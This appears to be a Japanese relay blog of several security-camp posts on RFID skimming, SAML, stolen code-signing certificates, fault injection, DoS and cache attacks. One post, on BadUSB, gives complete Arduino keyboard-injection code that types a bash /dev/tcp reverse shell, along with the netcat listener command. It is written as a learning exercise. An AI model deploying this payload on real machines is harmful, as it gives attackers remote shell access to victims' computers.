RFIDとその関連技術のセキュリティについて
はじめに
最近、OS自作とやらに入門しています。 はいリレーブログです!!
テーマはRFID。
例としてこんな動画のリンクもいただきました。
ざっくりと言えば、RFIDタグに対してスキミングみたいな事をするという動画です。
スキミングという言葉を調べてみると磁気ストライプカードの内容を盗み取るというような意味だったのでRFIDタグに対して使うのが適切かは分かりませんが、丁度いい言葉を見つけられなかったのでこの記事ではRFIDや非接触ICカードの内容を不正に読み取ることもスキミングとします。
今回はRFIDとその関連技術(NFC)に対するスキミングと対策について書いていこうと思います
RFIDの括りにNFCを入れていいのかも微妙な所ですがそこらへんは大目に見てください。
あと今週は少し忙しくて(言い訳)内容が薄くなってしまいましたすみません。
RFID・NFCでのスキミングのしやすさ
上記の動画でも述べられていますが、RFIDタグに電波を流し内容を読み取るのはとても簡単です。
改造されたRFIDリーダーは簡単に手に入りますし、数十センチ以上の遠くからでも読み取れるものも多いです。またRFIDはあくまでも一定の周波数の電波を与えればフィードバックを返すという技術なので暗号化等はなにも必要とされません。
NFCの場合は一気にスキミングの難易度が上がります。EMV仕様というものがクレジットカードでは一般的に使われているからです。これはワンタイムトークン等を生成することで、情報を読み取られたとしても不正な決済ができなくなるというような効果を持ちます。
EMV仕様はクレジットカード会社が策定した企画ですが、NFCにも元々Secure Elementというものがあり、重要な情報はそこを介すことで暗号化をしたり外部からの書き換えを防ぐといった機能を担っているらしいです。
ただNFCの規格レベルで通信の暗号化等は策定されていないらしいので、距離の問題を除けば盗聴に対して脆弱である場合もありそうです。
ちなみに日本で一般的なFelicaに関しては、通信時の暗号化も定められているとのことです。
トリッキーなやつ
スキミングとはちょっと違うのですが、特殊な例としてスマートフォン上のマルウェアが遠く離れた正規のPOS端末などとの橋渡しの役割を担い不正な決済をするようなことも考えられているらしいです。
- スマートフォンにマルウェアがインストールされる
- スマートフォンとNFCカードが重なってポケットに入れられる等、NFCカードと通信できるようになるとマルウェアが起動し攻撃者に知らせる
- 攻撃者のスマートフォンで正規のPOS端末と決済処理を行う(ただし、インターネット経由で被害者側のNFCカードが使われる)
このような、被害者NFC→被害者スマートフォン→攻撃者スマートフォン→正規のPOS端末という橋渡しのような事をして不正利用されるということも理論上可能みたいですね。
詳しくはこちらの論文をどうぞ。
ただ発表が2015年と古いので現在も実現可能かは不明です。
まとめ
結局、色々と方法は考えられてはいるけど一筋縄ではいかないみたいですね。
まあ街中歩いていて簡単に不正利用されちゃうような設計だったらヤバすぎますからね。
ただ、冒頭の動画のようなただのRFIDタグを使った認証だといとも簡単に突破されてしまうのでそこは気を付けないといけません。
内容薄くてマジで申し訳ないです><
参考文献
https://www.ffri.jp/assets/files/monthly_research/MR201301_NFC_Security.pdf
SAML認証について
はじめに
こんにちは、リレーブログ!
今回のテーマはSAML認証です。
セキスペでも頻出の奴ですね(ちょうど令和4年度春試験にも出ていました)。
それでは書いていこうと思います!
SAML認証とは
SAML認証とは文字通りSAML(Security Assertion Markup Language)を使用した認証方式です。SAMLとはIDやパスワードなどの認証情報を安全に交換するためのXML仕様のことで、OASISによって策定されました。
SOAPをベースとしており、複数のドメインにまたがるSSO(シングルサインオン)やID連携に利用されています。
SSOについては以前にもリレーブログのテーマになっていました。
今回はこの記事内にもあるSAML認証について深堀していく形です。
SAMLの形式
まずSAMLでは認証・認可される対象の事をサブジェクトと呼びます。これは人間以外(会社など)も当てはまる場合があります。
またSAMLで扱う情報はアサーションと呼ばれ、サブジェクトに対するステートメントの形式で記述されます。ステートメントは以下の3つです。
- 認証ステートメント:認証の手段や認証された日時などが記述される
- 属性ステートメント:サブジェクトに対する属性情報(名前やクレジットカードの上限など)が記述される
- 認可決定ステートメント:認可情報が記述される
次に示すのはアサーションの一例(のステートメントの部分)です。
<saml:Assertion ID="id0987654321_" IssueInstant="2022-04-23T20:00:12.345Z" Version="2.0"> <saml:AuthnStatement AuthnInstant="2022-04-23T20:00:10.345Z"> <saml:AuthnContext> <saml:AuthnContextClassRef> urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute Name="FirstName"> <saml:AttributeValue xsi:type="xs:string"> Taro </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> <saml:AuthzDecisionStatement Decision="Permit" Resource="https://www.example.com"> <saml:Action> Read </saml:Action> </saml:AuthzDecisionStatement> </saml:Assertion>
上から認証、属性、認可決定ステートメントです。
認証ステートメント(AuthnStatement)
- AuthnInstant:認証が行われた時刻
- AuthnContextClassRef:認証方法を示すAuthnContextClassを識別するURI
上記の場合、2022年4月23日20時00分10秒345に認証されHTTPSでパスワード認証が使われたことを示しています。
属性ステートメント(AttributeStatement)
- Name:属性の名前
- AttributeValue:属性の値
上記の場合、サブジェクトのFirstNameという属性がTaroであることを示しています。
認可決定ステートメント(AuthzDecisionStatement)
- Decision:アクセス要求に対する結果
- Resource:アクセス権限が求められているリソースのURI
- Action:求められているアクション
上記の場合、https://www.example.com に対するReadが認可されたことを示しています。
なおAuthzDecisionStatementはSAML2.0の時点で仕様凍結されています。
代わってより高度で柔軟なアクセス制御が可能なXACML(eXtensible Access Control Markup Language)がOASISによって標準化されています。
これらはアサーション部分を切り出したものです。 実際の認証ではこれらの他にもより多くの情報がやり取りされます。
SAMLによるSSO
SAMLによるSSOではユーザのアカウント情報の管理及び認証を行うIdP(Identity Provider)と、IdPを信頼しユーザにサービスを提供するSP(Service Provider)で構成されます。
IdPとSP間でSAMLRequestとSAMLResponseを送受信するために次のような方法が取られます。
- SOAPバインディング:SOAPでアサーションを送信
- HTTP Redirectバインディング:アサーションをHTTP リダイレクトメッセージで送信
- HTTP POSTバインディング:アサーションをHTTP POSTメソッドで送信
- HTTP Artifactバインディング:ArtifactをHTMLフォームコントロール又はURLのクエリ文字列で送信
Artifactとはアサーションを参照するための値です。アサーションのサイズが大きいことから、アサーションそのものではなくArtifactを用いるようにしたのがHTTP Artifactバインディングです。
次に示すのはSAML2.0によるSSOシステムの認証手順例です。
- ユーザがSPにアクセス要求
- SPはSAMLRequestメッセージを発行してIdPにユーザをリダイレクトさせ認証確認
- 認証済みの場合は5に進む
- ユーザはIdPにIDとパスワードを送信し、IdPは初期認証を実施し成功したら次に進む
- IdPは、アサーションを生成し、ディジタル署名を付したSAMLResponseメッセージを発行してSPにリダイレクトする
- SPはSAMLResponseメッセージのディジタル署名やアサーションの内容を検証する
- 問題がなかった場合、SPはユーザにサービスを提供する。その後、このユーザはIdPとID連携をしている他のSPにも再度認証を受けずにアクセス可能となる
まとめ
簡単にですがSAML認証ついてまとめました。
時間がなくてまとめられませんでしたが、SAML認証のライブラリにも勿論脆弱性はあります(CVE-2021-28091など)。
何にでも言えることですが、ライブラリ等を過信しすぎず脆弱性管理をしっかりしないとインシデントの原因になってしまいます。
あたりまえですけど仕組みをしっかり理解して適切に運用することが大切ですね!
参考文献
Security Assertion Markup Language (SAML) V2.0 Technical Overview
Assertions and Protocols for the OASIS Security Assertion Markup Language (SAML) V2.0
情報処理教科書 情報処理安全確保支援士 2022年版
NVIDIAドライバになりますマルウェアについて
はじめに
でもどうせ変身するならさあ やっぱりムサいじいさんよりこういうかわいい方がいいよね/エンヴィー
ということで鋼の錬金術師のアニメを見ていました。
傑作として名高い作品ですがアニメの話数も結構あるので躊躇していたんです。しかし先日友達から「絶対見た方がいい」と説得され1週間ほどかけて見終わりました。ほんと見てよかったです。
大佐と中尉のコンビいいっすねぇ。この二人以外も皆キャラが立っていてすんごい好きです。はい。リレーブログです。
今回のテーマはNVIDIAドライバになりすますマルウェアです。
冒頭の台詞はエンヴィーという敵キャラの物なのですが彼には変身能力があり、その力で色々と悪さをします。
今回のマルウェアはまるでエンヴィーみたいですね!(無理やり絡めていく)
アニメの話ばっかりしてしまいましたがそういえば先週はセキュリティキャンプフォーラムがありました。
修了生講演3講演目は「リレーブログのすすめ」をグループを代表して渡邉 大師 様にご講演いただきました。全国大会のグループワークから今に至るまで続いているリレーブログの取り組みについて、知見を交えながらお話しいただきました。ぜひこれからも楽しんで続けていってください! #seccamp pic.twitter.com/n0wZHTMkka
— セキュリティ・キャンプ (@security_camp) 2022年3月12日
このリレーブログについての発表もありました。
こんだけグループワークが続いているのも珍しいみたいですね。
色々と脱線してしまいましたが、ここからは真面目にNVIDIAドライバになりすますマルウェアについてまとめていきます!
NVIDIAドライバになりすますマルウェアとは
そもそもこれはどのようなマルウェアなのでしょうか。
前回の方が参考に記事のリンクを張ってくれたのでそちらをみてみましょう。
要約
まず、Lapsus$という攻撃グループがNVIDIAからデータを盗み「マイニング性能制限の撤回」「身代金」といったものを要求しました。
ですがNVIDIAは当然これを拒否。そしてLapsus$は盗んだデータをオンライン上で公開しました。
この盗まれて公開されたデータの中に2つのコードサイニング証明書が含まれており、これを使って電子署名を行ったマルウェアが出回っているとのことです。
ちなみに証明書の有効期限は切れているそうですが、Windowsでは有効と判断されるらしいです。
コードサイニング証明書とは
コードサイニング証明書についても簡単に書いておきましょう。
コードサイニング証明書とはソフトウェアにデジタル署名を行う証明書のことです。
署名(ソフトウェア配布)側は
コードサイニング証明書を取得
配布するプログラムのハッシュ値を生成
プログラム、デジタル署名、コードサイニング証明書をパッケージ化して配布
そして検証(ソフトウェア受信)側は
という流れで認証が行われます。
今回はこのコードサイニング証明書(の秘密鍵)が漏えいしたことで、NVIDIAでなくてもNVIDIAのソフトウェアと偽るように署名ができてしまうというお話でした。
対策
肝心の対策ですが、WDAC(Windows Defender Application Control)ポリシーを作成することで一応対応が可能らしいですね。
ただこの操作は難易度が高く、一般的な利用者はこれらの証明書がMicrosoftの失効リストに載るのを待つしかないとの意見もあります。
まとめ
流出した証明書で署名されたマルウェアっていうのはなかなか手強いですね。
Microsoftのドキュメントをざっと読んでみましたが、WDACはWindowsに相当理解のある人でないと上手く設定するのは難しそうです……。
月並みですが、怪しいサイトからソフトウェアをダウンロードしない事が一番現実的な対策なのでしょうね。
参考文献
Malware now using NVIDIA's stolen code signing certificates
NVIDIAから署名付き証明書データが流出しNVIDIA製ドライバーになりすましたマルウェアが複数登場 - GIGAZINE
コードサイニング証明書とは?|GMOグローバルサイン【公式】
アプリケーションWindows Defender (WDAC) ポリシー ルールとファイル ルールについて (Windows) - Windows security | Microsoft Docs
フォールトインジェクション攻撃について
はじめに
お久しぶりです。
ちょっと世間の流行りから遅れましたが無職転生にハマりました。 アニメ見て、なろう読んで気付いたら2月も中旬……。
ということでリレーブログのお時間です。
今回のテーマはフォールトインジェクション攻撃。
名前は聞いたことがありますが、それだけです。
さらっと調べてまとめていきましょう。
概要
フォールトインジェクション攻撃とは、ハードウェアに対してグリッチを印加させることで不正な動作を引き起こすという攻撃です。
一口にグリッチといっても様々で
- 電圧グリッチ(Voltage Fault Injection)
- クロックグリッチ(Clock Glitch Fault Injection)
- 電磁グリッチ(EMFI: Electromagnetic Fault Injection)
- 光・レーザー(Optical Fault Injection)
などが攻撃に用いられるようです。
ソフトウェアやWEBアプリケーションに対してもフォールトインジェクション攻撃という言葉が使われる事もあるようですが、今回はハードウェアに対象を絞って今挙げた手法をまとめていきたいと思います。
電圧グリッチとクロックグリッチ
特定の処理においてグリッチを印加させることで誤作動を引き起こすことができる場合があります。 例えば下記のようなコードがあったとします。
result = false if(result) unlock() else lock()
本来であればlock()が実行されるはずですが、if(result)が実行されるタイミングでグリッチが印加されるとunlock()が実行されることがあるという話です。
CDIのブログでもうちょっと具体的に解説されているので、気になる方はこちらを読んでみると良いかもしれません。
タイミングがシビアで成功させるのは大変そうですが、↑の記事によるとNintendoコンソールのセキュアブートを回避するためにこの手段が取られた事例*1があるとのことです。
また、クロックパルスにグリッチを印加してクロックタイミングを都合よく変更することで、セキュリティ実装等をバイパスできることがあります。
こちらも成功させるためのハードルが高いですが、条件さえ満たせば理論的には悪用が可能です。
電磁グリッチとレーザー照射
電磁グリッチを印加させることで上記のような動作を引き起こすことも可能です。
内部のチップ回路内に電流を誘導する局所的な高強度電磁パルス(グリッチ)を与えることで、セキュリティ実装を回避し得る事例も見つかっています。
CVE-2020-13629は電磁グリッチを使ってセキュアブートなどを回避できる可能性があるというものらしいです *2。
また、赤外線レーザー(光グリッチ)などを照射してフラッシュメモリなどを攻撃するようなものもフォールトインジェクションに入る場合があるようです。(余りここら辺はよく分かってないです……)
まとめ
なかなか難しかったです。 自分の理解が浅いため、余り実のある内容が書けませんでしたがハードウェアに自信のある方なら下の参考文献あたりを漁ることで結構理解できるのではないかななんて思ってます。
ちなみに命令の複製、電圧の監視、PLLの使用などでフォールトインジェクション攻撃の対策ができるようです。
ちょっと対策に関しては自分の薄い知識では文章書けるほど理解できなかったので割愛しましたが、そこらへんも含めて下の参考文献読んでみて下さい(丸投げ)。
参考文献
IoT Security - Part 20 (101 - Introduction to Fault Injection Attack (FI))
Voltage Fault Injection をやってみた - DARK MATTER
An Introduction to Fault Injection (Part 1/3) – NCC Group Research
BadUSBを作ってみた話
この記事はBadUSBに関する技術を学び危険さを理解するために執筆されたものです。許可なく他人の電子機器に不利益を与えるような行為を教唆・推奨するものではありません。
はじめに
明けましておめでとうございます。
お正月は少女終末旅行というアニメを見ていました。ケッテンクラートよきかな。
はい、例のリレーブログです。
今回のテーマはBadUSB。
Arduinoを使って簡単に作れるので今回は珍しく実際にやってみようと思います。
BadUSBとは
そもそも論としてBadUSBとは、悪質なプログラムが仕込まれたUSB機器の事を指します。
一部のファームウェア書き換え可能なUSBデバイスに不正な動作を引き起こすプログラムを書き込むことで作成できます。 よくあるのはHID(キーボードやマウス)として認識させ不正なコマンドを実行するとかですね。ファイルの削除やマルウェアのダウンロードetc...
PC側はUSBデバイスのファームウェアを見ることができない為、接続後の検知は困難です。 私たちにできる対策と言えば信頼できないUSBデバイスは接続しないくらいしかありません。
USBのファームウェアなのでできることは限られていますが、工夫次第で色々な悪用ができてしまうのです。
ちなみにKasperskyのブログにこんな記事がありました。
USBデバイスのふるまいを自動追跡し、不審なふるまいをするデバイスをブロックすることでBadUSBの被害を抑える技術の開発に成功したとのこと。
実装されているのが法人向けのセキュリティソフトという事でハードルは高いですが、一応対策方法はゼロではないみたいですね。
そういえば某キャンプにはこのような講義がありました。
私は受けていないので詳しいことは分からないのですが、技術的にBadUSBと近かったのかもしれません。
ただ今回はArduinoを使って簡単に実装しているのに対して、講義ではUSBのファームウェアの書き換えからやっているようなのでレベルは大きく違いますね。
BadUSBを作る
Arduinoの調達
先ほどArduinoを使って実装すると書いた通り、今回はUSBのファームウェアの書き換えなどはやらずにArduino(の互換機)を使って作ります。
理由は、単純に市販のUSBデバイスのファームウェアを書き換えるという事の難易度が高いからです。調べてみましたが一筋縄ではいかなそう……。時間があるときにいつかやってみたいですがリレーブログは期限があるので今回は無し。
対してArduino互換機であれば1000円程度で確実に作れます。
ただ一つの注意する点としては、HID機能に対応しているチップの乗ったArduinoでなければいけません。
具体的にはAtmega32U4の乗ったArduino Leonardo もしくはArduino pro micro(互換機)であれば問題ないかと思います。
https://www.amazon.co.jp/gp/product/B07J55YWKZ/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1www.amazon.co.jp
私はこの999円の奴を買いました。想像以上に安くて小さかったです。
こいつについているのはmicro USBのメス端子なのでBadUSBとしては少し使いづらいです。下のようなmicro USBオス → USB type A オスのアダプタでも指してやりましょう。
これもアマゾンで色々な端子の奴が10個くらいセットになっていて500円でした。
合体!!!!!
これだけでなんかBadUSBぽいですね。怪しさ満点です。
そしてハードウェアに関してやることはこれだけです。簡単だね!
Arduino IDEの設定
Pro microの場合は別途SparkFunのボードマネージャーを追加してボードをインストールしてください。
そしてプロセッサの電圧、周波数は実機と同じかしっかりと確認してください。
私は5V 16MHzのモデルに3.3V 8MHzで書き込んでしまいWindowsがpro microを認識しなくなってしまいました。 下の記事に対処法が書かれておりなんとかなったのですが、とても面倒くさかったです。 okiraku-camera.tokyo
プログラミング
といっても大したコードじゃないんですけどね。
#include "Keyboard.h" void setup() { // キーボード接続開始 Keyboard.begin(); delay(1000); // ターミナルの起動 Keyboard.press(KEY_LEFT_GUI); Keyboard.press('s'); delay(50); Keyboard.releaseAll(); Keyboard.print("terminal"); delay(100); Keyboard.press(KEY_RETURN); delay(50); Keyboard.releaseAll(); delay(1000); // Bashに入る Keyboard.print("bash"); delay(100); Keyboard.press(KEY_RETURN); delay(50); Keyboard.releaseAll(); delay(300); // リバースシェルを立ち上げる Keyboard.print("bash -i >^ /dev/tcp/$ipaddress/$port 0>^1"); delay(300); Keyboard.press(KEY_RETURN); delay(50); Keyboard.releaseAll(); } void loop(){}
見ての通り何の変哲もないリバースシェルを立ち上げるプログラムです。
リバースシェルにピンとこない方は適当に調べてみて下さい。簡単に言えばシェルを自分から攻撃者に渡しに行くようなようなプログラムです(適当)。
ちなみに想定はUbuntu 20.04 ですがWSL2を使っていてかつWindows TerminalがインストールされているのであればWindows10でも動作します。
Winキー + s でアプリケーションの検索を立ち上げ terminal を入力して起動→リバースシェルコマンドを打っているだけですので……。
基本的にコメント通りなのですが、いくつかコードの補足説明を。
頻繁にdelay()をいれているのは、そうしないとキー入力が早すぎて期待通り動作してくれないからです
ターミナルを起動した後いったんbashに入っているのは、zshなどからでは /dev/tcp/ipaddress/port を実行できないからです(後で思ったんですが、bash -c "command"を使えば一行で済みますね。はい)
リバースシェルが bash -i >^ /dev/tcp/$ipaddress/$port 0>^1 となっていますが、本当は bash -i >& /dev/tcp/$ipaddress/$port 0>&1 です。これはArduinoのキーボードライブラリがJIS配列に対応していない為であり実際に入力されるのは後者です(日本語キーボード環境のみ)
適当に受信側がnc -lvnp $port とかやっておけばUSBを指して数秒でシェルが取れます。
ちなみに実演動画もあります。
見やすさのためターミナルがクソデカフォントです。
USBがうまく入らなくて滑稽なのはご了承ください。
BadUSBでReverse Shell(クソデカふぉんと) pic.twitter.com/nuvGajhR5D
— あまめ (@amame04) 2022年1月11日
分かりにくいかもしれませんが、左のモニターが攻撃者のPC画面(NetCatで待ち受けてる)で右側のノートPCが被害者側(USBを指した直後にターミナルが起動してリバースシェルコマンドが打ち込まれている)です。 最終的に右のノートPC(ok@ok-CF-NX2)のシェルを左のPCで取ることができています。
おわりに
結構楽しかったです。
ターミナルを終了させれば簡単に接続が途切れるのでこのコードで現実的に悪用するのは難しいと思いますが、工夫次第で色々できそうですね。
もちろん変なことはしちゃだめですよ?
(BadUSBとは何の関係もないですが、Discord見た限りうちのグループワークが最長で続いているのでは疑惑ありますね。)
DoS/DDoSについてのまとめ
お久しぶりです。例によってセキュリティキャンプのリレーブログです。
前回はこちら。
攻撃の概要から対策手法まで簡単にまとめていきましょう。
DoS/DDoS攻撃とは
まずは定義から。
IPAのネットワークセキュリティ関連用語集からの引用です。
DoS攻撃
コンピュータ資源やネットワーク資源を利用できない状態に陥れる攻撃。 例えば、インターネットサーバーによって提供されている各種サービスを標的として妨害する攻撃が、一般に入手可能なツールを利用して行われている。このような DoS攻撃には、下記の種類がある。
インターネットプロトコルの特性を攻略して、ネットワークに接続されたコンピュータに過剰な負荷をかけて、サービスを提供することをできなくしてしまう攻撃
ネットワークの帯域を渋滞させる攻撃
サーバーアプリケーションの脆弱性を攻略し、サービスに例外処理をさせてサービスを提供することをできなくしてしまう攻撃(IPA)
DDoS攻撃
上記DoS攻撃には、インターネットプロトコルの特性を攻略して、ネットワークに接続されたコンピュータに過剰な負荷をかけて、サービスを提供することをできなくしてしまう種類の攻撃がある。このようなDoS攻撃の攻撃元が複数で、標的とされたコンピュータがひとつであった場合、その標的とされるコンピュータにかけられる負荷は、より大きなものになる。このような攻撃が DDoS( Distributed Denial of Service:分散サービス妨害)攻撃と呼ばれている。攻撃元は、攻撃者(人間)自身であるとは限らない。むしろ、攻撃者が事前に標的以外の複数サイトに、攻撃プログラムを仕掛けておいて、遠隔から攻撃を仕掛ける操作を行うことをきっかけとして一斉にDoS 攻撃をしかける手法の方が広く知られている。(IPA)
一言でまとめると、過剰な負荷をかけてトラフィックを増大させ、サービスの可用性を侵害するものがDoS攻撃。それらを複数のコンピューターから一斉に行うのがDDoS攻撃ということになります。
また、アプリケーションの脆弱性をついてサービスを停止させることもDoS攻撃に分類されていますね。ここら辺は知らない方も意外といたのではないのでしょうか。
F5アタックなんかもDoS攻撃に分類されますが、実際にサービスが提供できなくなるほどの負荷をかけるのは現代では難しいですね。
SYN flood攻撃
SYN flood攻撃はDoS攻撃の手法の一つです。
標的に対してTCPのハンドシェイクが確立しない要求パケットを大量に送ることでリソースを消費させます。 具体的には、
- まず、クライアントがSYNパケットを送信します。
- サーバーはSYN/ACKパケットを応答します。(ここまではただのTCPハンドシェイク)
- クライアント側はACKパケットを返さず、そして続けざまに大量のSYNパケットを送りつけます。
3でACKパケットを待つためにサーバー側は1で受け取ったクライアントの情報を一定時間メモリに保持します。 SYN flood攻撃は過剰にメモリリソースを消費させるほどのSYNパケットを送信することで行われるのです。
また、多くの場合攻撃者側のIPアドレスはスプーフィングされていて、身元の特定を困難にしています。
対策
有名な対策方法として SYN cookie というものがあります。
これは上記の手順の中の2でSYN/ACKパケットを送信する時、パケットのシーケンス番号に本来保持するべき1で受け取った情報を入れ込みます。 こうすることで3で受け取るACKパケットで同じシーケンス番号が帰ってくるはずです。
そして正しいシーケンス番号のACKパケットをサーバー側が受信した段階でシーケンス番号から情報を再構築し初めてメモリリソースを割り当てることで、SYN flood攻撃を防止できるのです。
Smurf攻撃
こちらもDoS攻撃の一種(厳密にはDDoS攻撃の一種)ですが、上記のSYN flood攻撃とは違ってネットワーク資源についての妨害攻撃となります。
手順としては、
- 送信元IPアドレスを標的サイトのアドレスに偽装してICMPエコー要求パケットをネットワークのブロードキャストアドレスに送る
- エコー要求パケットに応じてネットワーク上の各端末が応答パケットを標的サイトに送る
こうすることで大量のICMPエコー応答パケットがネットワーク上に流れ、帯域の渋滞を引き起こすのです。
これはブロードキャスト指図(directed broadcast)機能のあるICMPだからこそできる攻撃です。
個人的に単純明快でとても好きな攻撃なのですが、今日のネットワークではブロードキャスト指図機能を無効化することでSmurf攻撃への対策が確立されており、このような対策が取られていない脆弱なネットワークは殆どありません。
ボットネット
最後にDDoS攻撃で使われるボットネットについても簡単に書いておきましょう。
まずDDoS攻撃は主に二種類に分けられます。
一つはDRDoS攻撃(分散反射型DoS攻撃)と呼ばれるもので、攻撃者が攻撃対象になりすまして大量のコンピューターにリクエストを一斉に送信し、受け取ったコンピュータが攻撃対象に向かって返答を返すことで高負荷をかける攻撃です。上記のSmurf攻撃も典型的なDRDoS攻撃です。
もう一つは、攻撃者が大量の踏み台マシンを乗っ取ってそれらを使って一斉にDoS攻撃を仕掛ける、協調分散型DDoS攻撃と呼ばれるものです。
後者では基本的に攻撃者が事前に複数のコンピューターに対して攻撃者側が指示・制御を可能とするマルウェアを感染させておきます。
そして指示・制御を行う攻撃者側のコンピューターないしアプリケーションをC&Cサーバー(C2サーバー)と呼び、C&Cサーバーとマルウェアに感染したコンピューター(ボット)のネットワークをボットネットと言います。
ボットネットによって攻撃者はDDoS攻撃を行うことは勿論、多くのメールを送信してフィッシング詐欺を行うといったこともできるのです。
おわりに
ここで紹介した攻撃手法や対策は一部でしかありません。
調べていくと意外にも多くの攻撃手法や対策があって驚きました。 単純な攻撃だからこそ応用が効いたりして対策が複雑になることも多いのですかね。
ちなみに2018年にGithubで最高1.35テラビット毎秒のDDoS攻撃が観測されていたらしいです。Akamaiのサービスによって無効化に成功しているらしいのですが、1.35テラビット毎秒ってエグいですよね。どのぐらいのスピードで何人がF5を連打したのでしょうか(そういうことではない)。
次回はこちらで更新予定です。
参考資料
ネットワークセキュリティ関連用語集(アルファベット順):IPA 独立行政法人 情報処理推進機構
https://www.cloudflare.com/ja-jp/learning/ddos/syn-flood-ddos-attack/
キャッシュアタックについてのまとめ
例のリレーブログです。
前回はこちら。
今回のテーマは「キャッシュアタック」です。サイドチャネル攻撃の一種なのらしいのですが、私自身はじめて知った攻撃手法なのでなんとか頑張りたいと思います。
ちなみに不正確な記述がある可能性が高いです。あくまでもこの分野の取っ掛かり程度に見てください。
また、この分野に詳しい人はどんどん間違い等指摘してくださると幸いです。
サイドチャネル攻撃とは
サイドチャネル攻撃(サイドチャネルこうげき、side-channel attack)とは、暗号装置の動作状況を様々な物理的手段で観察することにより、装置内部のセンシティブな情報を取得しようとする攻撃(暗号解読)方法の総称である。(Wikipedia)
似た攻撃手法としてテンペスト攻撃がありますが、これは微弱な電磁波を傍受して情報を得る攻撃です。一方サイドチャネル攻撃は暗号解読に重きを置いているので、その点が異なるらしいです。
サイドチャネル攻撃にはその手法から、タイミング攻撃、故障利用攻撃、電力解析攻撃、電磁波解析攻撃、音響解析攻撃などいくつもの種類に分けられ、キャッシュアタックもそのひとつです。ただ、日本語の情報が少なく、(キャッシュアタックで検索するとDNSキャッシュポイズニングが出てくる)情報の収集に苦労しました。
サイドチャネル攻撃の種類
- タイミング攻撃
計算の実行にかかる時間を測定してその差を利用して攻撃を行う
- 故障利用攻撃
計算に意図的に不正な値などを入れることで得られる値と正規の値を比較して攻撃を行う
- 電磁波解析攻撃
機器から漏れ出した微弱な電磁波を傍受して攻撃を行う
- 電力解析攻撃
機器の消費電力を解析して攻撃を行う
- 音響解析攻撃
機器から出るノイズなどを解析して攻撃を行う
- キャッシュ攻撃
本日の本題。
キャッシュアタックとは
いよいよ本命のこれです。例によってまずはWikipediaからの引用です。
仮想化環境やクラウドサービスのような共有された物理システムにおいて、被害者が行ったキャッシュアクセスを監視する攻撃者の能力に起因する攻撃。(Wikipedia)
後述する例では仮想環境やクラウドサービスなどに限らず、ハードウェアやOSレベルでの攻撃を見ていくのですが、大意としてはキャッシュアクセスを監視することによって情報を盗み取るという感じですかね。
また、キャッシュアタックは攻撃側のプログラムと被害側のプログラムが同じキャッシュ領域を使っていないと成り立ちません。
そのため、対象となるキャッシュはLLC(Last Level Cache 最近は専らL3キャッシュ)となります。LLC side-channel attackなどで検索するといい感じに情報が出てきます。(英語ですが……)
Spectre & Meltdown
例として、2017年に一世を風靡した脆弱性である「Spectre(CVE-2017-5753 CVE-2017-5715)」「Meltdown(CVE-2017-5754)」もCPUのキャッシュを利用したサイドチャネル攻撃であるとされています。
これらは現代のCPUに実装された投機的実行という最適化を悪用したものです。Out of Order(OoO)という依存関係にない命令の並列化や分岐予測器を組み合わせることによって成り立っているのですが、例えばSpectreは、この時にできるキャッシュから本来は読み取ることのできないメモリデータをロードできてしまうという脆弱性です。
主要なCPUの多くがこの脆弱性を持つことが明らかになり、大きな話題となりました。
その後、OSレベルでの対策が取られています。
Flush + Reload
ちなみにキャッシュの読み取りにはFlush + Reloadという技術が使われるらしいです。
この攻撃の前提条件として、攻撃側と被害側が同じメモリ領域を共有している必要があります。
メモリアクセスのレイテンシの差を利用した攻撃で、
- まずキャッシュをクリアする(追い出す)
- 一定時間待つ
- 対象のキャッシュにアクセス
というステップで実行されます。
3のレイテンシが短ければ2の間に対象のプログラムが対象のキャッシュ領域を使ったことが分かります。
Page Cache Attacks
また、「Page Cache Attacks(CVE-2019-5489)」というものもあり、こちらはハードウェアに依存しないソフトウェアレベルの脆弱性です。
Linuxカーネルでは、補助記憶からデータを読み書きする時にまずページキャッシュという主記憶上の空間を参照します。ページキャッシュに目的のデータがあればそれを参照し、なければ補助記憶から読みだし他データをそこに追加されます。
攻撃プログラムは、対象のプログラムと同じページキャッシュにアクセス可能な時(同じ共有ライブラリやファイルを利用しているなど)、ページキャッシュ内の特定のページがアクセスされたかどうかという情報を利用して対象のプログラムの動作を知ることができます。
具体的にはmincore()システムコールを使うことで効率的にページキャッシュに特定のファイルが存在するか否かを調べることができるということです。
Linux各ディストリビューションではmincore()の動作を一部変更することによって対策が施されました。
終わりに
今回の攻撃を根本から理解するためにはCPUアーキテクチャやLinuxカーネルなどに対する一定程度の知識がないと厳しそうです。
私も余り理解できていません!低レイヤ難しい!
ただ、サイドチャネル攻撃自体、表面を触る程度しか勉強してこなかったのでこんなにも奥が深いものなのかと思わされました。特にキャッシュ攻撃はハードウェアソフトウェア問わず色々な分野で起こり得るので今後もアンテナを張っていきたいです。
このような全然知らない分野を勉強できるのはリレーブログの強みですね。
間違い等どんどん指摘してください!
次回はこちらの予定です。
参考文献
Side-channel attack - Wikipedia
Page Cache Attacks (CVE-2019-5489) について - Qiita
[SpectrePrime] [MeltdownPrime] とCPUのサイドチャネル攻撃 〜Evict-Time/Prime-Probe/Flush-Reload〜 | SEの道標